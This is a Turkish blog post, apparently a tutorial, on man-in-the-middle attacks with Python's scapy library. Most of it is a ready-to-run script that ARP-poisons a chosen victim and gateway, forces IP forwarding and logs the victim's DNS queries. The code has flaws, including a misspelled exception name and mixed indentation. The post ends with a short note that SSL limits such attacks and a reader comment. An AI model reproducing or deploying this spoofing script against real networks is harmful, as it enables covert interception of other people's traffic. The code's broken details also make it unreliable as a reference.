Scapy ile MITM

Merhaba Arkadaşlar.Bu yazımda sizlere MITM(Man in the middle) saldırısının ne olduğunu ve bunu python kütüphanesi olan scapy ile nasıl yapabileceğimizi elimden geldiğince anlatmaya çalışacağım.MITM in ne olduğunu kısaca anlatarak başlayalım.

MITM Nedir ?

Ortadaki adam saldırısı olarak bilinmektedir.Aynı ağda bulunduğunuz iki cihaz arasına girerek, bu iki cihaz arasındaki trafiği dinleme,yönetme gibi işlemlere MITM saldırısını denir.Peki bu nasıl işler ?

Örneğin bir web sunucuya bağlanmak istediğimizde bağlantı isteğimizi(request) öncelikle gateway e yönlendiririz.Daha sonra gateway e yönlendirilen paketleri gateway bağlanmak istediğimiz web sunucuya aktarır.Web sunucu gelen isteği yorumlar ve hizmet vermeye başlar.Saldırgan gönderilen bu paketleri gateway yerine kendisine gelmesini sağlayıp (isterse paketleri değiştirebilir,izleyebilir vs.) sonrasında web sunucuya gönderir.Bu işleme MITM saldırısı denir.

MITM saldırısı yapmanın pek çok yolu bulunmaktadır.Çeşitli toollar,scriptler yardımı ile (ettercap,mitmf,MemITM vs.)bu işlem yapılabilmektedir.Biz bu işlemi python kullanarak yapmaya çalışacağız.

Scapy ile MITM

Scapy nin ne olduğunu ve nasıl kullanıldığını bilmiyorsanız daha önceki yazıma bakmanızı tavsiye ederim.Daha önce belirttiğim gibi scapy bir python kütüphanesi olduğu için scapy kütüphanesinin dahil olduğu bir python scripti yazarsak MITM i gerçekleştirebiliriz.Ben internette biraz araştırdıktan sonra scapy kütüphanesi ile yazılmış python scripti buldum ve kodları biraz düzenledim.Bazı yerlerine yorum satırları ekledim.

#!/usr/bin/env python

from scapy.all import *
import threading
import os
import sys
	
VIP = raw_input('Kurbanin IP adresini giriniz: ')
GW = raw_input('Gateway in IP adresini giriniz: ')
IFACE = raw_input('Arayuzu giriniz (eth0,wlan0 vs.): ')
print '\nRoot olarak calistirdiginiza emin olun '

print '\t\t\nPoisoning Victim & Gateway! .. '
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #Kurbandan paketleri alabildigimize emin olalim.

def dnshandle(pkt):
		if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: #Paket yakalarken hangi bilgilere ihtiyacimiz oldugunu belirttik.
			print 'Victim: ' + VIP + ' has searched for: ' + pkt.getlayer(DNS).qd.qname


def v_poison():
	v = ARP(pdst=VIP, psrc=GW)
	while True:
		try:	
		       send(v,verbose=0,inter=1,loop=1)
                except KeyboardInterupt:                     #ARP paketlerini gonderdigimiz fonksiyon
			 sys.exit(1)
def gw_poison():
	gw = ARP(pdst=GW, psrc=VIP)
	while True:
		try:
		       send(gw,verbose=0,inter=1,loop=1)
		except KeyboardInterupt:
			sys.exit(1)

vthread = []
gwthread = []	

 
while True:	# Threads 
		
	vpoison = threading.Thread(target=v_poison)
	vpoison.setDaemon(True)
	vthread.append(vpoison)
	vpoison.start()		
        
	gwpoison = threading.Thread(target=gw_poison)
	gwpoison.setDaemon(True)
	gwthread.append(gwpoison)
	gwpoison.start()

	
	pkt = sniff(iface=IFACE,filter='udp port 53',prn=dnshandle)

Kodumuz hazır olduğuna göre çalıştırıp ne olacağına bir göz atalım.

Scriptin bizden istediklerini yazıp programı çalıştırdıktan sonra geriye sadece kurbanı izlemek kalıyor.Örneğin kurban facebook.com a istek atsın.

Gördüğünüz gibi kurbanın girmiş olduğu websiteleri izleyebiliyoruz.Bir de kurbanın ağ paketlerini wireshark yardımı ile izleyelim.

Kurbanın ip adresini filtrelediğimizde ziyaret ettiği yerleri gözlemliyebiliyoruz.Fakat çoğu website de SSL sertifikası olduğu için paketler şifrelenmiş(encrypted) olarak karşımıza geliyor.Bu sebeple biz bu paketleri okuyamıyoruz.SSL kullanmak MITM saldırılarının zararını büyük ölçüde azaltmaktadır.Kısaca MITM in ne olduğunu ve scapy ile nasıl gerçekleştirilebileceğini elimden geldiğince anlatmaya çalıştım.Daha fazla bilgi almak istiyorsanız bana ulaşabilirsiniz.Soru ve önerilerinizi yorum kısmında belirtirseniz çok memnun kalırım.Herkese başarılar…

2 yorum

  1. Siracuddin Yanıtla

    Merhaba hocam bu konuyu çok beğendim. Python kodluyorum bende. Lakin bu tür şeyleri yazamıyorum. Biraz yol gösterebilimisiniz?

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir